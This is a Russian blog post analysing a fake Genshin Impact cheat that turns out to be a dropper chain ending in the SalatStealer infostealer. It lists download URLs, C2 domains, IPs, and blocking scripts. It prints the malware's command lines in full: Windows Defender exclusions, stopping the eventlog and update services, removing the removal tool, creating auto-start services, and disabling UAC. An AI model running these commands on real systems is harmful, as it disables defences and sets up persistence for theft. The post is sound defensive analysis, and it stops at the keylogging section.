Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты

Взлом + Вирус

С этим тегом используют

Хакеры ВКонтакте Информационная безопасность Мошенничество Негатив IT Мошенники Коронавирус Пандемия Эпидемия Китай Юмор Болезнь Медицина Все
69 постов сначала свежее
10

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5⁠⁠

или рассказ о том, что можно получить вместо читов.

Наткнулся на ролик, весьма свежий и решил посмотреть, что нам предлагают.

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Исследуемый материал:  https://www.youtube.com/watch?v=r0_SLgk7f4E

Приходим в телеграмм канал и видим от 7го ноября:

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Ну что ж, скачаем. Заметим, что заархивированы файл занимает всего 123 кб.

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

После распаковки на диск мы видим, что размер файла стал почти 18 мБ

О чем это нам говорит?  А о том, что файл хорошо сживается, и что его кто-то специально раздул до таких больших размеров. Цель тут одна – затруднить отправку файла  в различные онлайн сервисы по исследованию программ. Ок, давайте это проверим.  Загрузим в ExeInfo  и видим наличие оверлея (доп информация в файле). Просто вырежи его в отдельный файл.

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост
Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Новый файл astral free 0.33.1_noOVL создан, и мы получили нормальный размер. А сам оверлей – это просто большой кусок, забитый нулями, ничего интересного он не представляет.

Хорошо, посмотрим что этот файл делает, откроем  его в дизассемблере и перейдём в главную функцию, которая исполняется при запуске.

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Что же мы видим? Создаётся «метка» с именем nero_preloader,  видимо именно этой программой и был сгенерирован дропер. Пока ничего страшного, посмотрим чуть ниже.

P.S. Кто-нибудь знает что такое nero_preloader? Ответьте в коментариях.

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Ага, интересная функция, зайдем в нее:

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

ссылка на скачивание

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

запуск исполняемого файла

Вот оно! Скачивается файл  по определённому адресу: http://uffyaa[.]ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/da5911c60d39ce73116584ec5e0325f503780e55693c9952e76cab1c0441652055d0bd67ed27bb89,  копируется в :\\ProgramData\\sessionuserhost.exe и запускается.  На этом функционал этого  исполняемого файла закончен, но это же нас не остановит? Скачаем и продолжим исследование дальше.

На этот раз скачался исполняемый файл весом в 400 кБ, назовём его test.exe и продолжим

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

файл по ссылке выше

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Так же откроем  функцию  main()  и посмотрим, что она делает. О, что мы видим!!

Основные действия функции

  1. Получение системных путей:

    • Получает путь к системной директории Windows с помощью GetSystemWindowsDirectoryA

    • Формирует пути к различным системным и программным директориям

  2. Создание вредоносных файлов и сервисов:

    • Создает файл sessionuserhost.exe в ProgramData

    • Создает задание в планировщике задач (schtasks /create) для автоматического запуска этого файла при входе в систему

    • Создает сервис с именем InputService через sc create

  3. Отключение системных защитных механизмов:

    • Отключает Windows Recovery (reagentc /disable)

    • Удаляет теневые копии томов (vssadmin delete shadows)

    • Добавляет исключение в защитник Windows через PowerShell (Add-MpPreference -ExclusionPath)

  4. Подмена системных файлов:

    • Работает с файлом hosts (\\Windows\\System32\\drivers\\etc\\hosts)

    • Вмешивается в системные файлы в директории Recovery

  5. Маскировка под легитимные процессы:

    • Создает файлы с именами, похожими на легитимные процессы:

      • steamuiupdater.exe

      • EpicOnlineServicesUpdater.exe

      • G HUB tray.exe

      • Riot Client Updater.exe

      • MSIAfterburnerServiceMonitorTray.exe

      • NVIDIA app tray.exe

      • twain_32.exe

      • system auditor.exe

      • EpicOnlineServicesInstalator.exe

  6. Выполнение команд с повышенными привилегиями:

    • Использует ShellExecuteA с параметром "runas" для выполнения команд от имени администратора

    • Выполняет несколько вредоносных команд через cmd.exe

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

стоки в файле test.txt

Продолжаем  исследовать дальше, видим обращение к некоторому адресу https://pastebin[.]com/raw/qQe7Aa7D

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

от кроем его, что же мы видим:

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Ага, видим  то, что запишется в HOST файл нашего компьютера, теперь ни одна ссылка из этого списка не будет открываться.  Кроме того, мы видим еще 3 ссылки, В коде программы это выглядит вот так:

Дальше часть кода процедуры из test.exe:

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Как видим, скачанный нами файл будет называться   :\\ProgramData\\controlhost.exe,  тоже самое и для  остальных двух файлов.

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

И так, основные функции данного файла и Основная цель функции:

Попытаться скачать файл config.json с ресурса https://pastebin.com/raw/qQe7Aa7D и, если это не удалось, выполнить резервную загрузку дополнительных данных (3 имполняемые файла) с нескольких подозрительных доменов (в частности, uffyaa.ru).

Инициализация переменных и строк:

  • Выделяется память под строку URL: https://pastebin.com/raw/qQe7Aa7D.

  • Из второго аргумента (a2) извлекаются указатели и длина строки (путь к директории), к которому дописывается :\\ProgramData\\config.json.

Формируется целевой путь к файлу:

  • Собирается строка пути, куда должен быть сохранён файл: например, C:\ProgramData\config.json.

Попытка загрузки файла с Pastebin:

  • Используется URLDownloadToFileA, чтобы скачать файл по указанному URL и сохранить в подготовленном пути.

  • Если загрузка прошла успешно, функция завершает работу, иначе переходит к резервной логике.

Резервная логика загрузки (fallback):

  • Если основной файл не загружен, вызывается функция download01 с различными параметрами (ключи: "count", "type", "link0", "link1", "link2").

  • Эти ключи соответствуют различным частям конфигурации или файлов:

    • "type": ".exe" — ожидается исполняемый файл.

    • "link0", "link1", "link2" — это прямые ссылки на вредоносные загрузки с сервера uffyaa.ru, каждая ведёт к конкретному зашифрованному или закодированному payload.

Заключение:

Функция реализует двухэтапную схему получения вредоносной конфигурации:

  1. Сначала пытается скачать конфиг с Pastebin.

  2. Если не удалось — переходит к запасным URL, каждый из которых может представлять отдельную угрозу (исполняемые файлы, настройки, ключи и т.д.).

Продолжим наше исследование и скачаем содержание этих 3-х ссылок:

http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/6adc1e14c896571371bc6e1c4f7763c7dd67d22af827cc0b57c4bde8e8925ba6f4120c2f803e7acc

http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/6adc1e14c896571371bc6e1c4f7763c7dd67d22a0fa376726207bab855d42dfae89552cc17559ca3

http://[virus].ru/PacketgeoDbbaseFlowerDatalifeLocalpublicDownloads/9a094aaf722f08d3740be907a66838ad10afc6b865efdfd57fdb96d631878268f5775ef930869653

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

И так, мы получили 3 файла разного размера, начнем:

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Первые 2 – это 64х битные  файлы с SSL сертификатом  в оверлее.

Файл file1.ex_ :

Приводить участки кода не буду, но вот  список того что она делает:

  1. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process '"C:\Users\admin\Desktop\file1.exe"' -Verb runAs

  2. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

  3. C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

  4. wusa  /uninstall /kb:890830 /quiet /norestart

  5. C:\WINDOWS\system32\sc.exe stop UsoSvc

  6. C:\WINDOWS\system32\sc.exe stop wuauserv

  7. C:\WINDOWS\system32\sc.exe stop bits

  8. C:\WINDOWS\system32\sc.exe stop dosvc

  9. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0

  10. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0

  11. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0

  12. Создает C:\WINDOWS\system32\dialer.exe

  13. C:\WINDOWS\system32\sc.exe delete "EJJYGAKZ"

  14. C:\WINDOWS\system32\sc.exe create "EJJYGAKZ" binpath= "C:\ProgramData\jtixikfvpels\lxwvsyozcpiw.exe" start= "auto"

  15. C:\WINDOWS\system32\sc.exe stop eventlog

  16. C:\WINDOWS\system32\sc.exe start "EJJYGAKZ"

  17. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "тут обфусцированный скрипт"

  18. C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

  19. wusa  /uninstall /kb:890830 /quiet /norestart

  20. C:\WINDOWS\system32\sc.exe stop UsoSvc

  21. C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc

  22. C:\WINDOWS\system32\sc.exe stop wuauserv

  23. C:\WINDOWS\system32\sc.exe stop bits

  24. C:\WINDOWS\system32\sc.exe stop dosvc

  25. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-ac 0

  26. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0

  27. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0

  28. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0

  29. Запуск C:\WINDOWS\system32\dialer.exe

  30. C:\Windows\System32\dllhost.exe /Processid:{7cfb6527-f523-4e75-b050-9073d7bf3e84}

  31. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" " тут обфусцированный скрипт "

  32. C:\Windows\System32\dllhost.exe /Processid:{7097c13c-ab69-4ab9-941c-0a3ff141828d}

  33. C:\WINDOWS\System32\slui.exe -Embedding

А теперь тоже самое, с расшифровкой:

1. Запускается file1.exe с повышенными правами (администратор), что критично для выполнения всех следующих действий.

2. Копирует .exe файлы в каталоги %UserProfile% и %ProgramData%. Это позволяет запускать и сохранять вредоносный код без обнаружения.

3–4, 18–19. Удаление обновления Windows KB890830

wusa /uninstall /kb:890830 /quiet /norestart

KB890830 — это средство удаления вредоносных программ (MSRT).

Злоумышленник удаляет его, чтобы оно не удалило вредоносное ПО.

5–8, 20–24. Отключение обновлений и службы передачи данных

sc stop UsoSvc

sc stop wuauserv

sc stop bits

sc stop dosvc

*  Отключение служб:

  • Центра обновления Windows (wuauserv)

  • Интеллектуальной передачи данных в фоне (BITS)

  • Обновления операционной системы (UsoSvc, WaaSMedicSvc, dosvc)

*  Цель: остановить обновления и вмешательство Microsoft.

9–11, 25–28. Отключение автоматического сна и гибернации

powercfg.exe /x ...

*  Модифицирует схемы питания:

  • Устанавливает таймауты гибернации и сна в 0.

*  Цель: предотвратить переход ПК в спящий режим, чтобы вредоносный код работал непрерывно

12. Создание dialer.exe в system32

  Необычное место и имя.

13–16. Создание и запуск вредоносной службы

sc delete "EJJYGAKZ"

sc create "EJJYGAKZ" binpath= "..." start= "auto"

sc stop eventlog

sc start "EJJYGAKZ"

Удаляется старая служба, создаётся новая с автостартом.

  • Программа lxwvsyozcpiw.exe будет запускаться при загрузке.

  • Остановка eventlog — попытка скрыть следы в журнале событий.


17, 31. Выполнение сложного PowerShell-скрипта с динамической загрузкой и внедрением

  • Скрипт создает динамический делегат, используя Reflection.Emit.

  • Получает доступ к системным сборкам и вызывает низкоуровневые функции.

  • Используется Marshal::GetDelegateForFunctionPointer, Copy, Invoke и т.п.

  • Это указывает на:

    • Создание и внедрение shell-кода

    • Вызов функций из сторонних DLL

    • Динамическую декриптацию или загрузку полезной нагрузки

  • Также возможно, что выполняется DLL-сидeloading или внедрение в dllhost.exe.

30. Запуск DLLHost с нестандартным идентификатором COM

*  Вероятно, загрузка вредоносной DLL через COM-объект.

*  Используется для маскировки и уклонения от обнаружения.

29. Запуск dialer.exe

  • Ранее созданный исполняемый файл.

  • Основной вредоносный компонент.

Итоговая цель вредоносной программы

  • Получить полный контроль над системой

  • Отключить защиту и обновления

  • Скрыть активность

  • Закрепиться через автозапуск

  • Выполнить вредоносную нагрузку (включая DLL sideloading, shellcode, системные вызовы)

  • Возможное дальнейшее заражение или шпионаж

Как вы могли заметить, выполнились 2 PowerShell  скрипта,  после их расшифровки мы можем понять, что делает эта программа. Вот подробное описание, что делает эта вредоносная программа на основе всех 31 шага:

🔧 1. Запуск вредоносного исполняемого файла с правами администратора

powershell.exe Start-Process '"C:\Users\admin\Desktop\file1.exe"' -Verb runAs

Запускает исполняемый файл с повышенными правами (UAC bypass).

🛡️ 2. Отключение антивирусной защиты Windows Defender

powershell  Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Добавляет в исключения директории и расширение .exe, чтобы антивирус игнорировал любые EXE-файлы, особенно в папках пользователя и ProgramData.

🧹 3, 4, 18, 19. Удаление инструмента для очистки вредоносных программ

cmd  wusa /uninstall /kb:890830 /quiet /norestart

Удаляет KB890830 — это Microsoft Windows Malicious Software Removal Tool (MSRT). Деактивирует его, чтобы он не удалил вредоносный код.

⚙️ 5–8, 20–24. Отключение сервисов обновлений и фоновых служб

cmd sc.exe stop UsoSvc, wuauserv, bits, dosvc, WaaSMedicSvc

Выключает службы:

  • UsoSvc — обновления Windows

  • wuauserv — агент обновлений

  • bits — фоновая загрузка

  • dosvc — оркестратор доставки

  • WaaSMedicSvc — сервис восстановления обновлений

📛 Цель — остановить обновления и автоматическое восстановление системных компонентов, чтобы система не восстановилась после заражения.

🔌 9–11, 25–28. Изменение параметров электропитания

cmd  powercfg.exe /x -standby-timeout-ac 0, /x -hibernate-timeout-dc 0 и т.п.

Отключает ожидание и гибернацию, чтобы система постоянно работала и не уходила в спящий режим. Это может быть нужно для непрерывной работы вредоносного кода.

⚠️ 12. Создание вредоносного dialer.exe

Создаёт файл C:\WINDOWS\system32\dialer.exe. Вероятно, это вредоносный компонент.

🧪 13–16. Удаление, создание и запуск скрытого сервиса

cmd sc.exe delete "EJJYGAKZ"

cmd sc.exe create "EJJYGAKZ" binpath= "C:\ProgramData\jtixikfvpels\lxwvsyozcpiw.exe" start= "auto"

cmd sc.exe start "EJJYGAKZ"

Удаляет старый сервис и создаёт новый с произвольным именем, который указывает на вредоносный EXE в ProgramData. Сервис будет запускаться автоматически при старте системы.

🚨 15. Остановка системного журнала событий

cmd  sc.exe stop eventlog

Отключает логирование событий. Это мешает расследованию и скрывает следы.

🧬 17. Динамическая генерация вредоносного .NET-кода в PowerShell

Большой PowerShell-скрипт:

  • Создаёт в памяти сборку .NET.

  • Динамически компилирует делегаты (обработчики функций).

  • Использует GetProcAddress для доступа к WinAPI-функциям.

  • Патчит память (в том числе — делает VirtualProtect).

  • Загружает DLL (в том числе из SOFTWARE\dialerstager в реестре).

  • Возможно, загружает вторичный пейлоад или обходит защиту.

📌 Это обфусцированный загрузчик или инжектор, работающий полностью в памяти. Очень продвинутый подход.

☎️ 29. Запуск созданного dialer.exe

Продолжает выполнение уже подготовленного вредоносного компонента.

🧪 30. Запуск COM-хоста (dllhost.exe) с уникальным идентификатором CLSID

cmd  dllhost.exe /Processid:{...}

Может использоваться для запуска COM-объекта — часто применяется для инжекции или маскировки кода, запускаемого через системные службы.

🧬 31. Ещё один PowerShell с генерацией и вызовом делегатов

Похож на шаг 17. Второй PowerShell-скрипт делает то же самое:

  • Создаёт в памяти типы.

  • Патчит системные функции.

  • Загружает вредоносные модули.

🧠 Итоговая картина

Программа:

  1. Запускает вредоносный EXE от имени администратора.

  2. Обходит Windows Defender.

  3. Удаляет средства защиты от вредоносного ПО.

  4. Отключает службы обновлений и логирования.

  5. Меняет параметры питания.

  6. Устанавливает и запускает вредоносные сервисы.

  7. Генерирует .NET-код прямо в памяти (fileless-инжекция).

  8. Загружает скрытые DLL или shellcode.

  9. Осуществляет запуск и маскировку через dialer.exe и dllhost.exe.

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Кроме того запускаемый дилер запускается в нулевом конце доступа, как драйвер и если прибить такой процесс, система выпадет в синий экран.

Что же делает File2.exe?

  1. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process '"C:\Users\admin\Desktop\file2.exe"' -Verb runAs

  2. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

  3. C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

  4. wusa  /uninstall /kb:890830 /quiet /norestart

  5. C:\WINDOWS\system32\sc.exe stop UsoSvc

  6. C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc

  7. C:\WINDOWS\system32\sc.exe stop wuauserv

  8. C:\WINDOWS\system32\sc.exe stop bits 

  9. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-ac 0“

  10. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0

  11. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0

  12. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0

  13. start  C:\WINDOWS\system32\dialer.exe

  14. C:\WINDOWS\system32\sc.exe delete "WLJNDOJC"

  15. C:\WINDOWS\system32\sc.exe create "WLJNDOJC" binpath= "C:\ProgramData\zrntznqzxmws\ydmehmmzlokc.exe" start= "auto"

  16. C:\WINDOWS\system32\sc.exe stop eventlog

  17. C:\WINDOWS\system32\sc.exe start "WLJNDOJC"

  18. C:\WINDOWS\system32\SppExtComObj.exe -Embedding

  19. "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

  20. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "function ....."

  21. start C:\ProgramData\zrntznqzxmws\ydmehmmzlokc.exe

  22. C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

  23. C:\WINDOWS\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

  24. wusa  /uninstall /kb:890830 /quiet /norestart

  25. C:\WINDOWS\system32\sc.exe stop UsoSvc

  26. C:\WINDOWS\system32\sc.exe stop WaaSMedicSvc

  27. C:\WINDOWS\system32\sc.exe stop bits

  28. C:\WINDOWS\system32\sc.exe stop dosvc

  29. C:\WINDOWS\system32\powercfg.exe /x -hibernate-timeout-dc 0

  30. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-ac 0

  31. C:\WINDOWS\system32\powercfg.exe /x -standby-timeout-dc 0

  32. C:\Windows\System32\dllhost.exe /Processid:{0995f9a4-ba6d-4140-a15e-2b171752e608}  (Application was injected by another process)

  33. "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE" "function ............."

  34. C:\Windows\System32\dllhost.exe /Processid:{3a3997b4-63b2-4a14-adf7-fc6a4d4fb2c3}  (Application was injected by another process)

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост
Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

🟨 Общие элементы

Обе программы:

  • Активно используют PowerShell и reg add.

  • Модифицируют службы и параметры Defender.

  • Пытаются внедрить исключения в систему защиты.

  • Используют техники персистентности (запуск по расписанию, скрытые скрипты).

File3.exe:

Этот фaл  отличается от других  упакован модифицированным UPX. Эта программа уже написана на Go(go1.22.0)  но зато активно общается  с 188.114.96.3, 172.67.191.102:433 и с другими

Видимо это и есть сам вредонос для удалённого доступ к компьютеру жертвы.  Позже я расскажу что же это такое. Обезопасим себя на всякий случай. Вот готовый .bat-файл, который создаст правила в брандмауэре Windows для блокировки IP-адреса 172.211.123.249:

@Echo off

echo Блокировка IP-адреса 172.211.123.249 через брандмауэр Windows...

REM Блокировка входящего трафика

netsh advfirewall firewall add rule name="Block 172.211.123.249 In" dir=in action=block remoteip=172.211.123.249 enable=yes

REM Блокировка исходящего трафика

netsh advfirewall firewall add rule name="Block 172.211.123.249 Out" dir=out action=block remoteip=172.211.123.249 enable=yes

echo Готово.

Pause

а это и есть SalatStealer, знакомитесь:

  • SalatStealer — это тип вредоносного ПО, предназначенный для кражи данных с заражённых устройств.

  • Он разработан на языке Golang и может выполнять различные действия, включая создание скриншотов и эксфильтрацию файлов.

  • Использование SalatStealer может привести к серьёзным последствиям, таким как кража личной информации.

Исследуем ЛУЧШИЙ ЧИТ НА GENSHIN IMPACT 5.5 Читы, Игры, Онлайн-игры, Вирус, Взлом, Школьники, Компьютер, Безопасность, Троян, Исследования, Реверс-инжиниринг, Malware, Длиннопост

Дропает   себя в разные места, запускает сам себя:

Конектится к:

https://sa1at[.]ru/sa1at/

https://sa1at[.]ru/sa1at/jcl2eeqx

Сайт sa1at[.]ru был идентифицирован как вредоносный и используется в качестве центра управления (C2) для вредоносного ПО под названием Salat Stealer. По данным ThreatFox, этот домен классифицируется как связанный с ботнетом и имеет высокий уровень достоверности угрозы (100%) .

Рекомендую  добавить sa1at[.]ru в файл hosts для блокировки доступа:

echo 127.0.0.1 sa1at.ru >> %SystemRoot%\System32\drivers\etc\hosts

SalatStealer — это вредоносное программное обеспечение, классифицируемое как инфостилер, разработанное на языке Go. Оно предназначено для кражи конфиденциальных данных с заражённых систем.

🧬 Основные характеристики

  • Язык разработки: Go (Golang)

  • Методы упаковки: Использует UPX (Ultimate Packer for eXecutables) для упаковки исполняемых файлов, что затрудняет анализ и обнаружение.

  • Основные функции:

    • Сбор системной информации: данные о жёстком диске, разрешение экрана, активные процессы и окна.

    • Кража учётных данных из браузеров (Chrome, Firefox, Edge) и почтовых клиентов.

    • Доступ к криптовалютным кошелькам и кража приватных ключей.

    • Поиск незашифрованных паролей в текстовых файлах.

    • Эксплуатация микрофона и камеры для записи аудио и видео, а также возможность трансляции экрана в реальном времени

Salat Stealer — это скрытное вредоносное ПО, разработанное на языке программирования Go, предназначенное для проникновения в системы и извлечения конфиденциальных данных. После заражения устройства оно собирает обширную системную информацию, такую как сведения о жёстком диске, разрешение экрана, запущенные процессы и активные окна. Одной из его наиболее тревожных особенностей является его способность транслировать рабочий стол жертвы в режиме реального времени и захватывать аудио и видео с помощью микрофона и камеры устройства, что создаёт серьёзные проблемы с конфиденциальностью. Кроме того, Salat Stealer способен извлекать файлы из скомпрометированной машины. Его присутствие может привести к значительным рискам, включая кражу личных данных, финансовые потери и серьёзные нарушения конфиденциальности.

Возможности и функциональность

Кража данных и сбор учётных данных
• Собирает сохранённые учётные данные из веб-браузеров (например, Chrome, Firefox, Edge).
• Извлекает учётные данные для входа из локальных почтовых клиентов.
• Получает доступ к файлам криптовалютного кошелька для кражи закрытых ключей или средств.
• Ищет незащищённые учётные данные, хранящиеся в текстовых файлах.
• Извлекает файлы из скомпрометированной системы, что может привести к серьёзным нарушениям конфиденциальности, финансовым потерям и краже личных данных.

Мониторинг рабочего стола в реальном времени
• Обладает возможностями потоковой трансляции, что позволяет злоумышленникам отслеживать активность на рабочем столе жертвы в режиме реального времени.
• Может записывать аудио и видео через микрофон и камеру устройства, что создаёт серьёзные риски для конфиденциальности.

Методы сохранения и уклонения
• Записывает файлы в критические системные каталоги (Windows, System32, Drivers, Program Files)
• Изменяет реестр Windows (ключ Run), чтобы обеспечить автоматическое выполнение при запуске.
• Использует методы обхода контроля учетных записей (UAC) для повышения привилегий.
• Выполняет сброшенные полезные нагрузки для расширения цепочки атак.
• Использует упаковку UPX для сокрытия своего кода и обхода обнаружения на основе сигнатур.

Обзор цепочки атак

  1. Первичное заражение:

    • Распространяется через фишинговые письма, вредоносные вложения и скрытые загрузки.

    • Также может распространяться через взломанное программное обеспечение или троянизированные приложения.

  2. Исполнение и настойчивость:

    • Вредоносная программа запускается при взаимодействии с пользователем, например, при открытии вредоносного файла.

    • Для достижения устойчивости он использует реестр Windows (ключ «Выполнить»).

    • Попытки обойти контроль учетных записей (UAC) для получения повышенных привилегий.

  3. Системная разведка и сбор данных:

    • Перечисляет запущенные процессы и активные окна.

    • Сканирует сохраненные учетные данные в веб-браузерах, почтовых клиентах и криптовалютных кошельках.

    • Проверяет языковые настройки системы, чтобы потенциально избежать заражения определенных регионов.

  4. Утечка данных:

    • Извлеченные учетные данные и сведения о системе отправляются на контролируемый злоумышленником сервер управления и контроля (C2).

    • Вредоносная программа может попытаться удалить следы своей активности, чтобы избежать обнаружения.

Обход контроля учетных записей пользователей (UAC)

SalatStealer использует обходные методы контроля учетных записей (UAC) для получения повышенных привилегий без оповещения пользователя. Устанавливая ключ EnableLUA в \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA на «0» (отключает UAC).

При установке EnableLUA на 0 вредоносная программа отключает принудительное применение UAC, что позволяет ей выполнять административные команды и сохранять устойчивость, обходя ограничения безопасности. Однако это изменение вступает в силу не сразу — для полного отключения UAC требуется перезагрузка системы. Пока система не перезагрузится, запрос UAC будет по-прежнему отображаться при запуске вредоносной программы.

Механизм устойчивости SalatStealer

SalatStealer обеспечивает постоянство, копируя себя в случайные каталоги. В моем случае он скопировал себя в:

  • C:\Program Files (x86)\Защитник Windows\

  • C:\Program Files (x86)\Windows NT\

Затем он создает ключи запуска в реестре Windows, чтобы обеспечить выполнение при запуске:

\REGISTRY\USER\<USER_SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = «C:\\Program Files (x86)\\Windows Defender\\smss.exe»

\REGISTRY\USER\<USER_SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = «C:\\Program Files (x86)\\Windows NT\\dllhost.exe»

Мониторинг экрана и рабочего стола в реальном времени

Salat Stealer может непрерывно делать снимки экрана и даже транслировать содержимое рабочего стола жертвы на командный сервер (C2) злоумышленника, обеспечивая наблюдение за его действиями в режиме реального времени.

Кража данных буфера обмена

Salat активно отслеживает активность буфера обмена, что позволяет ему перехватывать скопированный текст, включая пароли, адреса криптовалют и другие конфиденциальные данные.

Кейлоггерство – перехват нажатия клавиш

